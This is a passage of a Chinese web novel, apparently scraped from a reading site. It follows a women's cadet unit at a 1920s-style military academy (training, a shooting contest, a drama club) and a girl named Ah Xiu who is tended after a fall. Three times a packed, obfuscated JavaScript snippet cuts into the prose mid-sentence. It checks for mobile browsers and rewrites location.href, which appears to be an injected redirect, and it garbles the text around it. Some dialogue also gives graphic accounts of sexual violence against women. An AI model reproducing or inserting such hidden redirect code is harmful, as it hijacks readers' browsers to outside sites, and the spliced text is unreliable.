“萧、萧瑜,呼呼——你还行吗?”陈胜男边跑边扭头问道:“用不用我帮你背着行李?” “不用。” 浑身湿透的衣服愈加沉重,鞋里早就灌满了水,脚下每一步都重于千钧,萧瑜深吸一口气,握紧了背上行囊的带子。 “这个、时候,你还逞强什么?”张邵敏累的上气不接下气,还不忘挤兑陈胜男,“管好你自己好了,呼呼——” “我怎么逞强?我这是为了大家好!” 两人两句话不到,眼看又要吵起来,萧瑜忍不住吼了一声: “闭嘴,节省体力...咳咳咳——” 不小心一口雨水就呛了进来,她弯腰咳了几声,后面的女生一个没留神撞在她身上,两人抱团摔在了泥里。 “萧瑜!” “细妹!” 左右的人急忙去扶,萧瑜倒是无事,除了沾上一身泥。而另一个女生却被这一跤摔得彻底崩溃了,她的脚扭伤了,别人拉她她也不起来,只坐在泥潭里哭喊道: “我不要念什么军校了,我要回家!” 队中众人年纪跨越很大,最年长的沈霞三十六岁,最年幼的就是这个田细妹,今年只有十五岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424910|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,平常大家都对她颇为照顾。 眼看队伍停下,不少人围在这里,队长沈霞急匆匆赶过来,分开众人: “怎么回事?为什么停下来?细妹你怎么了?” 细妹哭着回道: “霞姐,我要回家,我再也不要忍受这种折磨了!在家里爹娘都疼我疼的紧,我后悔跑出来考军校了,不过是嫁给不喜欢的人,嫁就嫁了!打仗明明是男人的事情,为什么女人要吃这种苦...啊——” 话没说完,就被沈霞抬手打了一个耳光。 “闭嘴!” 沈霞年长,在队中一贯是温和老练的大姐形象,此刻突然如此,大家都吓了一跳。 细妹捂着脸,呆滞的看着沈霞,不敢说话。 四周一片安静,只剩下稀里哗啦的雨声不厌其烦的响着。 “你以为,我就是来这里找罪受找苦吃的吗?我那两个孩子,小的才刚刚断奶,我走那天,他哭得惊天动地,我连和他道别都不敢,生怕心软。你以为我抛夫弃子的来到长洲是为了什么?你以为我们大家都是为了什么?” 沈霞红着眼眶吼道:“你以为你忍一忍嫁给不喜欢的人,这一辈子就能安安稳稳的度过了吗?我小姑子嫁人后,勤勤恳恳,任劳任怨,只因为她想学读书写字,就被婆家人关起来毒打,我丈夫想去接她回来,婆家死也不放人,当天晚上就给她灌了毒/药,只抬出来一具尸体,说是暴毙而亡,哪个跟你讲道理?” 有人抹着眼泪说:“我们那里头一胎女娃娃生下来是要活生生烧死的,说是要警告她下辈子不许投生在这一家,幸好我上面有个哥哥,不然我也.....” 陈胜男也大声道:“我爹娘眼里只有我弟弟,他们想把我卖给同村的老鳏夫,给我弟弟换彩礼钱。我来到这里是要干革命的,吃苦我不怕,死我也不怕,我就是想要改变这一切!推翻这一切!” 张邵敏咬牙切齿道:“我妈妈本是原配夫人,却生不出儿子,爸爸宠幸那几个姨娘,任由她们欺负妈妈。他不让我参军,我偏要参,我还要做排长,做团长,做将军,我要他看看我到底比不比得上他那几个酒囊饭袋的儿子!” 沈霞摸着细妹的头,轻声道: “现在你进了学校,能剪短发了。你知不知道,只是在前几年,我们那个小县城,剪短发的女人要怎么样?他们说只有大丈夫才能剪短发,女人没有权利!但凡是剪短发的女人被他们抓到了,都要扒光衣服,用铁丝穿乳,拖到街上去游/行,然后拉到县衙门口,当场...轮/奸致死,死后尸体还要钉到城墙上警戒众人!” 不少同学听到这里都哭了出来。 “谁把女人当人看啊,我们哪里是人啊......” 细妹忍不住扑进沈霞的怀里,“霞姐,霞姐——” 一群女人,就这样站在倾盆大雨里,泣不成声。 不想吃苦,不想受罪,凭什么叫男人瞧得起?她们没有选择啊。 萧瑜抹了一把脸上的水渍,一把将细妹拉起来,哑声道: “走,我们继续!” “好!” 回应声响彻天际,陈胜男也一把拉起细妹的另一只手臂, “我来扶你,我们一个也不掉队!” 沈霞坚定的点头:“好,我们女子队一个也不落!” 就这样,尽管筋疲力尽,尽管浑身无力,所有人都互相搀扶着,帮助着,向前跑去。 她们不再是娇生惯养的大小姐,不再是慈祥的母亲,不再是温柔的妻子,不再是逆来顺受的旧时代女性。 她们是革命军人,为主义而奋斗,为理想而牺牲,更为了千千万万被压迫被歧视的女子的明天。 吾辈爱自由,勉励自由一杯酒。男女平权天赋就,岂甘居牛后?愿奋然自拔,一洗从前羞耻垢。 不远处,长洲军校的门前,能看见站在大雨中的华永泰和魏若英,他们没穿雨衣没打雨伞,陪着所有学员一起淋着雨。 依稀可见,他们脸上是欣慰的笑意。 当天中午,饭堂里多了一大锅热乎乎的姜汤。 48. 第 8 章 寝室统一熄灯时间,是晚上九点,可女子寝室熄灯后的夜话,是屡禁不止的。 细妹在床上翻来覆去的睡不着觉,忍不住推了推旁边的陈胜男,小声说: “你说今天早上的事情,华教官是不是都知道了?要不然怎么会给咱们熬姜汤?诶呀,他会不会觉得我不进步?可我已经知道错了啊。” 陈胜男快要睡着了又被吵醒,不耐烦道:“知道了又怎么样?他今天没有罚你,那就不会秋后算账了,华教官还是赏罚分明的。” “我知道呀,可是,可是他会不会瞧不起我呀.....” “他——”陈胜男刚想说什么,突然反应过来,看向细妹:“细妹,你,你不会是对华教官有意吧?” 细妹的脸一下子涨得通红,大声反驳道:“谁,谁喜欢华教官了!你不知羞!” 这一嗓子差不多把屋子里所有女生都喊了起来,七嘴八舌的凑了过来: “细妹,原来你真的喜欢华教官啊?” “可是我听说华教官和魏老师是相好。” “什么相好,现在都叫谈恋爱。” 张邵敏打着哈欠道:“怪不得每次华教官上课时,细妹的眼珠子就跟黏在人家身上一样,原来是芳心暗许了。” 这样被看破心事,细妹急得快要哭出了来,索性破罐破摔道: “就是,就是喜欢了又怎样?!华教官就是革命,革命就是华教官,我爱上华教官就是爱上了革命,有什么不对吗?你们难道有谁不爱革命吗?” 陈胜男噗嗤一乐:“那萧瑜就不爱,每次魏教官给我们上政治教育时,我瞧她都不耐烦的紧。” 萧瑜似笑非笑:“我爱不爱不好说,某人心里惦记着隔壁男子队救了她那个小汪长官,天天想方设法去打听人家,我可是知道的一清二楚。” 陈胜男几乎从被窝里跳起来去捂萧瑜的嘴:“你你你瞎说,你你你干嘛扯到我身上!” “呦,不打自招了!”张邵敏幸灾乐祸,“难道就是男子一队那个鼎鼎有名的汪云飞?” 旁边人立马问道:“哪个汪云飞?” “还能有哪个,不就是那个入学以后门门第一的汪云飞!” 眼看大家从窃窃私语变成高谈阔论,沈霞也无法再继续睁一只眼闭一只眼了,低声喝道: “快睡觉,别再提这些有的没的,不知羞!” 大家悻悻的躺回床上。 可是安静了片刻之后,又有人忍不住轻声开口: “我,我想我阿哥了,他没考上长洲军校,去了云南讲武堂,不知现在好是不好。” 有人伤感道:“我未婚夫去了日本留学,下次见面不知是何年何月了。” 几声叹息如同微波涟漪,荡漾在了众人心头,连沈霞姐也忍不住道: “我家的那个他,一个人也不知道能否照看好两个混小子。” 寂静午夜,每个人心里都浮现了一个魂牵梦萦的身影,那是白日里劳累的训练上课中不敢想起,却又不敢忘记的人。 陈胜男犹豫了片刻,轻声问张邵敏:“喂,你,你可有意中人了?” 张邵敏沉默了很久,这才状若不经意道:“以前家里给订过一门亲事,我来广州之前给他写了一封信,叫他只当我从此死了。” “哦。”陈胜男闷闷的应了一声,又怯生生的捅了捅萧瑜:“那,你呢?” “我?我早就结婚了。” 萧瑜是隐瞒身份入学的,没人知道她是萧家二小姐,也没人知道她是霍家少夫人。 萧瑜不顾陈胜男吃惊的表情,翻过身子,不再说话。 入我相思门,知我相思苦。 很久很久之后,她听见自己轻声说道: “但是,我可能想一个唱小曲儿的杜丽娘了。” ...... 军校中的训练生活日复一日,校外的世道却并不太平,即便是广东一省之内,也没有完全统一,革命军与粤军内部的一些摩擦时有发生。长洲军校的特点便在于速成与实战,这几日常有二期的学员被派出执行任务,个别三期的男子队员也有被选中前往,然而女子队却总是被遗忘的那一个。 入校数月,她们甚至连真枪都还没摸过,射击课上只是拿着树枝和木头枪做样子。 学校条件艰苦,缺枪少弹,初时大家也便忍耐了。可直到有一天,她们得到了消息,学校新缴获了一批俄式步/枪,给男子队换上了全新的武器,却仍旧没有她们的份! 一群姑娘们得知以后,义愤填膺的聚集在一起。 陈胜男第一个拍案而起:“不像话!我们同为第三期的学员,为什么男子队可以配枪,我们不可以?” 张邵敏难得应和她:“说得对!凭什么不给我们发枪?我们哪里比不过那些臭男人?” “就是,我们找他们理论去!” 大伙越说越坐不住,风风火火的就出门去了。 萧瑜劝说不住,只能急忙拉住细妹,让她去找华永泰和魏若英过来。 抗议要有理有据,从长计议,就算是踢场子,也要人多势众,占尽上风,这么十几个人能讨得了什么好? 初生牛犊不怕虎,一群女孩子甚至想直接道校长面前反应情况,幸而校长公务繁忙,不在校本部,于是他们纷纷来到了教练部主任杨志诚教官的办公室。 杨志诚素来不苟言笑,在众多教官中有冷面阎王之称。他面无表情听完一屋子女孩子七嘴八舌的抗议,只冷冷的吐出两个字: “胡闹!” 陈胜男急了:“我们哪里有胡闹?我们这是正常诉求......” “无法无天,纪律松散,如同市井泼妇,你们华永泰教官就是这么教导你们的?” 杨志诚起身喝道:“全体立正!” 令行禁止,所有人下意识列队立正,身姿标准。 杨志诚踱步在众人之间,语气冷厉: “配枪是学校做出的决定,军人以服从命令为天职,这是你们成为军人要学会的最重要一课。” “报告!” “说。” 陈胜男憋着怒气,大声道:“如果长官的命令是错的,我们是不是还要服从?” “错?你有什么资格质疑对错?如果学不会服从二字,趁早卷铺盖滚蛋,免得浪费军校的粮食!” “杨教官这句话,恐怕有失偏颇。” 华永泰从门外走进,身后跟着魏若英、细妹等人。 学生们见他到来,不禁都面露喜色。 他不卑不亢,笑意温和道: “长洲军校要的,就是有思想,有态度的军人,一个军人如果不会思考,与军棍何异?那么长洲军校,又与旧式军阀又有何区别?” 杨志诚双眼一眯,冷哼道:“华永泰,别跟我说你们那一套苏俄的东西,当初设立女子队我就是坚决不同意的,现在你看看这一群娘子军,一点鸡毛蒜皮的小事就来闹翻了天,将来上了战场还得了?” 魏若英脸色难看:“杨教官这是说给谁听?联俄联共,是先总理中山先生的决定,招收女学员这也是校长亲自首肯,你这样说......” “小英!”华永泰及时制止了她。 就如杨志诚所说,这其实是一件小事,没必要扩大矛盾。 华永泰缓缓道: “杨教官,女学员们入学数月,还没有发枪,她们着急也是一心为了革命。如今我们还是拿着木枪演练,做个样子,连装卸子弹都没法教,这样的女兵上了战场,如何为革命战斗,这岂不是有违校长初衷吗?我知道校内新到了一批俄式步/枪,即便无法直接分发,那么将男学员替换下来的粤造毛瑟发给女学员也好。” 一番话语娓娓道来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424911|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有理有据,杨志诚无法反驳,冷哼了一声: “给女学员配枪纯属浪费,我不信她们真的敢开枪杀敌!” 早就不忿的张邵敏脱口而出:“不如比一场!” 此言一出,姑娘们纷纷响应: “对,比上一场!” “看看我们敢不敢开枪!” “我不信我们不如男学员。” 华永泰意味深长的看了张邵敏一眼,却也顺势对杨志诚道: “军校鼓励学员相互竞争,既然她们热情如此高涨,不如就让他们比上一场吧。” “好,我就看这群娘子军能翻出什么花样来!” . 一行人来到训练靶场,适逢男子队三期一队正在上射击课程。 杨志诚将事情经过一讲,男学员有人先不乐意了,一个尖嘴猴腮的学员叫道: “什么?让我们跟这群女人比试?还让我们交枪?门都没有!” “孙浒说的对,女娃家家的拿什么枪?你们以为拿绣花针呢?” 陈胜男气急:“你说什么?再说一遍?!” 杨志诚置身事外,毫无为女学员说话的意思,几个大胆的男学员看出他的偏袒,更是铁了心和女学员作对了,拒不交枪,言语上还多加奚落,双方转眼争执不休。 魏若英有些焦急的问华永泰:“她们毕竟没有摸过真枪,这样真的没问题吗?” 萧瑜没掺合他们的口舌之争,慢悠悠的踱到华永泰身边,轻笑道: “华教官,你都算计好了的吧。” “明明是你让细妹叫我来的。”华永泰淡淡一笑,“说不上算计,不过是赶巧了。” 配枪一事,她不信华永泰没有计较,这回是趁着学员们请愿将了杨志诚一军,而恰巧今日上射击课程的是三期一队,更是顺理成章。 那厢那个叫孙浒的男学员还在冷嘲热讽,把陈胜男气得脸色涨红。 “拿枪?你个子有枪高没有?到时候是你端枪,还是枪端你呀?” “够了!”一个年轻军人上前呵斥了他,“阴阳怪气,成何体统!” “队长。” 孙浒见是队长汪云飞,立刻立正站好,不敢再出声了。 这个年仅二十二岁的年轻人是长洲赫赫有名的军事奇才,极有威望。他以第一名的成绩考入军校,并且在入学半年内,每门考试均是全校第一,连校长也极为欣赏他,称赞他是“天生将才”。 陈胜男一见他,眼前一亮,“汪同学......” 汪云飞公事公办道:“既然杨教官已经同意,那么我们就开始比试吧,双方各出三人,五发子弹,你们有没有问题?” 张邵敏向前一步道:“没有问题,我来!” 孙浒不甘示弱道:“队长,让我上。” 汪云飞点头,而后看向了一旁的闫国民,他表情冷淡,似乎对这类意气之争不感兴趣,还是韩文彬推了推眼镜,笑道:“那就我来吧。” 而后汪云飞又点了一个人,男生队的人选就挑好了。 萧瑜笑着对华永泰说:“汪云飞之前在《中国军人》上发表的论女子从军的进步意义,我记得还是华教官亲自斧正的吧?” “你看过青年军人联合会的刊物?” “好说为了军校的复试,我也是费了一番功夫的。” 华永泰失笑:“那你不打算亲自出手?” 张邵敏看样子志在必得,陈胜男以前时常进山打猎,有两把刷子,可对第三个人选大家却犯起难来,眼见那个叫孙浒的又要嘲讽。 萧瑜可有可无的点了点头:“成啊,但我有个条件。” “什么条件?” “以后中午熬姜汤时能不能给我留一碗没红糖的?我最烦红糖的味道了。” 华永泰想笑,旋即又忍住,严肃点头:“好,我批准。” 49. 第 9 章 “你呀你,和一群愣头小子赌什么气?” 寝室里,一群女孩子还意犹未尽,兴奋的彼此叙述着白天的经历。沈霞就像是嘴硬心软的姆妈,一边数落着张邵敏,一边又心疼的给她肩膀被枪托震得淤青的地方热敷。 张邵敏疼得龇牙咧嘴,还忍不住得意道:“你没看见那帮臭男人输了之后丢人败兴的样子,我就是恨瞧不起女人的男人!” 陈胜男一掌拍在张邵敏肩膀上:“说得好,我也是!” 张邵敏一声惨叫:“快把你的熊爪子拿开!” 陈胜男讪讪的收回手,不好意思道:“我这不是一时激动嘛,也就是你细皮嫩肉吧,你看我就没多大事!不过看不出来,你这娇生惯养的大小姐,枪法这么准!” “哼,我从小可是在军营的马背上长大的,我学会开枪的时候,那个‘猢狲子’还不一定断奶了呢。” “哈哈,猢狲子,别说这名字还真形象!说起来还是萧瑜更厉害,直接一站出来,那个猢狲子就不敢吭声了,还敢嫌我矮,他比萧瑜还矮半个头呢!” 陈胜男跳到地上,拿起一旁角落里的扫把,学着白日里萧瑜的京城口音,做出要笑不笑的轻蔑表情: “不就是把‘水连球’嘛,你也就这点出息了,话先说好,今儿个谁输谁是孙子!” 萧瑜无奈:“是水连珠,不是水连球。” 这种俄式莫辛纳甘步/枪,是第一代使用无烟药枪弹的步/枪,枪声清脆,五发子弹连续发射时如同水珠溅落,所以有这一别称。 “好吧,赶明咱们也能配上这‘水连珠’了,我们赢得光明正大,这回杨教官也没话说了吧。” 沈霞看着她们无奈的摇头笑道:“我看那帮小子也没有坏心,只是不服气我们抢他们的枪而已,都是同志战友,你们也别记恨。” 陈胜男夸张的摆摆手:“我们大度女子,才不跟小气男人计较。” 众人失笑,正说话间魏若英敲门进来了, “你们都在啊。” 大家连忙起身:“魏教官!” “都坐下吧,我是来慰问你们的,今天的事萧瑜张邵敏陈胜男干得漂亮,为我们女子队争了一口气!不过,下一次刻不要这么冲动了,遇事先找我和华教官,不要轻易顶撞其他教官,相互起冲突,知道没有?” 陈胜男耿直脾气,爽快认错道:“知道了,魏教官!” “那就好。”魏若英笑道:“今日一战,女子队的名气可是在校内打响了,有人急着想快点认识你们呢,不知道你们给不给这个面子啊?” . 一行人跟着魏若英来到教员室,屋内除了华永泰外,还有三个男学员,正是三期一队的汪云飞,韩文彬和闫国民。 陈胜男看见坐在正中间的汪云飞,双眼一亮,期期艾艾道: “汪、汪云飞同学,你还记得我吗?我这段日子一直都想找机会和你当面道谢!” 汪云飞和韩文彬见到是她,不约而同的笑了起来。 汪云飞道:“道谢就不必了,仗义出手是分内之事,我也没想到那日会遇到这么一位‘女神枪手’。” 陈胜男想起白天自己龇牙咧嘴在他面前开枪的样子,不好意思的挠头,“哪里哪里,我就是以前在山里打野猪野鸡打惯了。” 汪云飞噗嗤一乐,陈胜男更加窘迫了,脸上黑里透红,眼看手脚都不知道放哪里。 萧瑜无奈摇头,开口对汪云飞道:“谢还是要谢的,多谢汪同学白天手下留情。” 汪云飞笑着反问:“你怎么知道我手下留情了?孙浒的枪法在队里可是名列前茅。” “全校射击课分数第一第二名都没出手,这不是手下留情是什么?”萧瑜瞟了一眼汪云飞和闫国民。 韩文彬叹了口气:“好,我就知道我是捡鸡毛扎掸子——凑数的!” 众人都不禁笑了起来,他今天五发子弹脱靶三发,放水都放到珠三江去了。 “既然你们都认识了,我就不多介绍了。其实云飞他们今日找你们过来,是有事相求的。” 华永泰拎着暖壶给几人都倒了茶水,笑道: “军校政治部组建了一个血花剧社,取自廖党代表的题词“烈士之血,主义之花”,剧社内学生自编自演话剧,活跃文娱生活,宣传革命思想。目前由汪云飞担任社长,平常我也常去指导大家排练,不知道你们有没有兴趣?但先说好了,利用课余时间排练,可不能影响训练课程。” 沈霞作为女子队队长,率先问道:“现在需要招新,是剧社人员不足吗?” 韩文彬推了推眼镜,唉声叹气道:“人员倒是充足,但话剧里总要有女角色,以前校内只有男同学,迫不得已,只能反串,那可真是瞎子找对象——不知美丑。” 这人实在是爱说歇后语,偏生还要摇头晃脑,念得抑扬顿挫,引得大家忍俊不禁。 陈胜男积极道:“谁都可以加入吗?我可以加入吗?我也想演话剧!” 汪云飞点头:“当然可以,欢迎欢迎!”他又问向沈霞:“沈同学意下如何呢?” 沈霞倒是犹豫了一下:“我年纪大了,不太会演戏,就不参加了,不过我帮你问问其他女同学看她们有没有意愿。” “这和年纪有什么关系?只要有一颗年轻的心,就永远都是年轻人。”汪云飞笑道。 “人家不情愿就不要勉强了。” 闫国民突然开口,他目光扫过屋里的几个女同学: “我们课程不同,排练不统一,徒增麻烦。况且她们任性散漫,只会拖累进度,何必多此一举?” 他虽然和汪云飞韩文彬同来,但始终冷眼站在一旁,事不关己,此时猝不及防一句话说得全场皆冷。 韩文彬白了他一眼:“那你还跟过来干嘛?你们孙文学会的人就喜欢瞎凑热闹!” “我也是剧社的副社长。”闫国民冷哼一声:“总不能眼见你们青年联合会把血花剧社都垄断了!” 汪云飞皱眉:“国民,你这是什么话?” 韩文彬反驳道:“什么垄断不垄断?谁让云飞写的那些剧本大家爱看,哪像你们天天净演一些歌功颂德,校长万岁的戏,简直是赶车不带鞭子——光拍马屁!” “你说谁呢?” “谁拍马屁说谁!” 眼见两人就要起冲突,华永泰及时喝止了他们, “都住口!这么大人了,还像小孩子一样呈口舌之快,争一时意气,丢不丢人?” 闫国民虽然在气头上,但对华永泰还算是敬重,没有再反驳,只低声说了一句:“这不是意气之争,是信仰问题!” “嘁,谁管你们争什么,本来我还不想参加的,你这么说我还一定要参加了!”牙尖嘴利的张邵敏可不饶人,她瞪了闫国民一眼:“我偏要参加,你奈我何?” 她左手拉着萧瑜,右手拉着陈胜男,忿忿道:“不光我要参加,我的姐妹都要参加,有本事你退出啊!” 陈胜男:“就是,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两党合作,并不如表面那样一团和气,主义不同,便意见相左。而今校内有两股流派,左/派人士成立了青年联合会,右/派分子组建了孙文学会,两家经常开会辩论,互唱对台,在主义问题上针锋相对,互不相让。 闫国民是孙文学会理事,一心拥护校长,韩文彬是青年联合会成员,两人从头到脚的不对付。 “那汪云飞呢?” “汪云飞身兼两会职责,每次双方相争,只有他出面才能调停。” 萧瑜一愣,随即也便释然:“千军易得,一将难求。” 真正的人杰精英,到哪里都是各方势力争抢的对象。 “可他们终究是太年轻了,一腔热血,容易盲目崇拜,遭人利用。” 萧瑜似笑非笑:“你说闫国民?” “不,我说所有的学员。” 华永泰正容道:“军校希望培养的,是有思想有信仰的军人,懂得为什么打仗,为谁打仗,而不是只做别人手中无脑的枪。萧瑜,我知道你无意这些纷争,也不信什么主义,那么至少在军校的这两年里,我希望你用双眼去看,双耳去听,亲自来分辨,究竟什么才是对错,什么才是真正能救中国的良药。” 50. 第 10 章 漫长的夏天终于过去,秋高气爽,天气转凉,阿绣每天来往于学校,家里,和小福园别墅三点之间,忙得不亦乐乎,充实而愉快。 “喂!乡巴佬,曹老师找你!” 这天午休时间,阿绣正在教室里低头看书,面前的桌子突然被人狠狠拍了一下,她吓了一跳,抬头一看,原来是班里的一个女同学。 “看什么看?叫你乡巴佬不服气啊?傻乎乎的!” 女同学瞪了她一眼,没好气道。 阿绣低头没回答,口舌之争没有意义,还不如多看些书来的正经,况且她不理睬,她们自然就会无趣的离开。 等那同学走后,阿绣来到教员室门口,踌躇了一会儿才敲门进去。 “曹老师。” 一个精瘦的中年男人从书本中抬起头,推了推厚厚的眼镜,看向来人。 “方阿绣?你过来。” 阿绣战战兢兢的走过去,曹文冉老师是国文老师,为人古板严肃,不苟言笑,班上的同学都很怕他。 曹老师拿出一本白皮笔记本,翻到其中一篇读书笔记问她:“这个是你写的?” 阿绣探头看了一眼,点头应是。 曹老师要求大家每个礼拜读一本书,还要写一篇摘记,这是她上个礼拜写的。 “老师,是不是哪里不合格?” 阿绣忐忑不安,她已经做好了被曹老师痛骂一顿的准备了,这样的情况几乎班里每个女生都经历过。 没想到曹老师翻了翻她的笔记,轻描淡写道:“写的不错。” “真、真的吗?”阿绣很惊讶。 “我观察你很久了,刚来的时候你的功课惨不忍睹,连唐宋八大家是谁都不知道,但是这两年来你非常刻苦,现在基本已经能跟上我的进度了。” 曹老师说这些话时仍然是板着脸,语气很严厉:“但是不要骄傲自满,你还差得很远。就像你的这这段时间在摘记中所提及的书,古今中外,涉猎颇广,看得出你很努力,但也很没有章法,只凭兴趣,不管优劣。其中有好几本,华丽有余,深度不足,实在肤浅,以后你要多加注意,这样哗众取宠的文字读起来有害无益,浪费时间。” 阿绣虚心点头,把曹老师说的话都记在心里。 曹老师见此,表情缓了缓:“我之前教的一些学生组织了个业余的读书会,我看你很爱读书,向他们推荐了你。他们经常在静安路的‘真理’书店活动,你有空去看一看。” 阿绣始料未及,有些为难:“曹老师,我可能不行......” “有什么不行的?”曹老师瞪了她一眼:“我不管你为什么进到德英女中,也不管你和霍家是什么关系,只要你坐在这里,你就是我的学生。多和别人交流交流,免得你眼界越来越狭隘。” . 曹老师的建议,让阿绣很感动,却也很为难。 她承认,自己可能是有些畏惧接触陌生人了,而且她觉得自己读的书还不够多,学识不够广,贸贸然去这样的读书会怕惹人笑话。 她还是要再努力充实一下自己才好。 整理书房的大业还在继续,通过和霍锦宁商议,初步决定把所有书籍按照古今中外分门别类摆放,并且全部记录在册。 今日又送来了一摞新书,大概有二十几本,阿绣一边记录一边惊讶的发现,里面有好几本都是之前她参考《英吉利文学》列出来书单上的。 她迫不及待的翻开一本,却发现满眼生词,一句也读不通。 自己和大家果然还差得太远,班级里有好多同学都是从小学英文的,还有几人精通多种语言,法语德语,随父母游历各国,不说外国书籍,就是用外文交流也毫无障碍。 而她呢,到现在英文还是只能写不敢说。更不要提国文和数学了,想一想同学叫她乡巴佬也是蛮有道理的。 她抱起新书走上楼梯,打算把它们放到各自分类的位置。书房的这段楼梯盘旋陡峭,每次上下时她都加倍小心,此时许是心里想着事情,一个不留神,脚下踩空,她就摔倒在了台阶上。 因为下意识紧紧抱住怀里的书,所以膝盖和手肘都重重的磕在台阶上。阿绣疼得眼前一黑,以一个扭曲的姿势趴在原地好半天,才渐渐缓过神来,慢慢的站起身。 左膝盖右小腿以及两边的手臂都青了,阿绣咬牙忍着疼,把书放到书架上,然后一瘸一拐的下楼去寻找药箱。 霍锦宁不在,而这个时间霍吉出门买菜去了。 其实阿绣一度难以想象霍吉面无表情和菜贩讨价还价的样子,深切怀疑他可能被坑了不少钱,曾主动和他一起前往菜市场。然后她发现自己多虑了,相貌周正气度不凡的霍吉深受买菜大姐大婶欢迎,她们争先恐后把自己的女儿妹妹介绍给他,说媒热情空前高涨。 霍吉的终身大事暂且不提,眼下阿绣东翻西找也没寻到药箱,只能作罢。 后来也没有那样疼了,阿绣就把这件事忘到了脑后。直到入夜之后霍锦宁回来,进门时不经意扫了她一眼,诧异的问: “你的腿怎么了?” 阿绣穿的是件碎花连衣裙,光了一截小腿在外面,正好露出摔伤的地方。阿绣低头一看自己也吓了一跳,下午才青红了一小块,这会儿已经青紫一大片了,看上去有些吓人。 “我在楼梯上不小心摔了一跤。”她不好意思的说,“已经不太疼了。” 霍锦宁一边吩咐霍吉去拿药,一边把阿绣带到沙发边,让她坐下。 “现在不疼,明天恐怕要起不来床了。”霍锦宁有些无奈。 还是个小孩子,毛毛躁躁的会在房间里摔跤。 他接过霍吉拿来的药膏,坐在阿绣身边,拉起她的手臂,发现她手肘上也有伤。 霍锦宁用医用棉花棒沾上药膏,要给她上药,阿绣躲闪道:“不用了,我,我自己来就好。” 阿绣试了一下,发现自己想要给手肘上的伤抹药真的有些困难。 霍锦宁失笑:“还是我来吧。” 阿绣红着脸抬着胳膊,任由他给自己涂抹伤药,棉花棒轻轻蹭在皮肤上,痒痒的,凉凉的。 “这里是怎么回事?” 霍锦宁发现她的手肘偏上的地方,另有一块成年旧伤疤,好像是烫伤,但形状又有些古怪,似乎是什么文字。 “可能是小时候调皮摔的,我不记得了......” 霍锦宁看她有些紧张,就笑着问道:“那今天又怎么会摔倒?是台阶太高了吗?” “嗯,不是,我当时在想事情。” “遇见什么事了?” 阿绣犹豫了一下,就把曹老师今天对她说的话原原本本告诉了霍锦宁。 “这是好事情,你加入读书会有助于你接触更多人,你该多认识些朋友。”霍锦宁观察到小姑娘的表情,有些了然: “你不想去?” 阿绣轻轻点了点头,小声道:“我可以不去 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阿绣迟疑了下,慢慢抬起了右腿,脚踝突然被他一把握住,炽热的温度从肌肤相接的地方蔓延开来,阿绣羞得满脸通红,不禁垂下头来一言不发。 霍锦宁小心温柔的涂抹在她小腿青紫地方,见她不说话,忍不住轻轻用棉花棒按了按伤处:“很疼吗?” 她太瘦了,这个位置他很怕她摔伤了骨头。 “嗯。”她低低应了一声。 霍锦宁回想了一下少时萧瑜摔跤磕破了头,嬷嬷给她擦药的情形,于是他俯下身,轻轻吹了吹她的伤处。 “这回呢?” 全身所有汗毛瞬间都竖了起来,身下茶几的冰凉,和腿上温度的滚烫交织重叠,激荡开来。 阿绣浑身一颤,下意识收回了右腿,“没,没事了。” “还有没别的地方受伤了?” 霍锦宁相信她还有其他伤处,如果摔倒在楼梯上,那么两条腿应该都青了。 “嗯。”阿绣的声音细若蚊蝇,“还有,膝盖……” 她缓缓将裙摆拉起一截,漏出左腿上青紫的膝盖,比右腿上的还要严重。 霍锦宁伸手拉过她的脚踝,便想继续继续上药,却发现她在轻轻颤抖着。 从小在江南水乡滋润长大的小姑娘,皮肤水嫩白皙,他手中的这条小腿又细又滑,白中透着一抹粉嫩,之前不曾在意的手下的触感,此时变得分外清晰了起来。 他抬头,看见小姑娘把头低得快埋到了胸前,只漏出一双白里透红的耳朵,和耳垂上小小的耳洞。 这个场景似曾相识,只是她到底是没去拿那对宝石打一副耳环。 两年时间,她也渐渐长大了。 霍锦宁不动声色敛下眼眸,给她涂完药膏,自然而然的松开了手。 “好了。” 阿绣不禁松了一口气,可心底却也有些失落,肌肤上他曾接触的地方还在隐隐发烫,依依不舍。 她听霍锦宁语气平淡对她道: “天气凉了,记得多穿衣服,不要光着腿穿裙子。” “嗯。” 她心不在焉的应着,低头坐在茶几上一动不动。 霍锦宁见她无意识的晃荡着白皙的小腿,有些刺目,忍不住移开视线,开口道: “阿绣,告诉你一件事情,你不要太伤心。” “嗯?” 阿绣疑惑的抬头看向他。 “丁伯一家可能要回乡下去了。”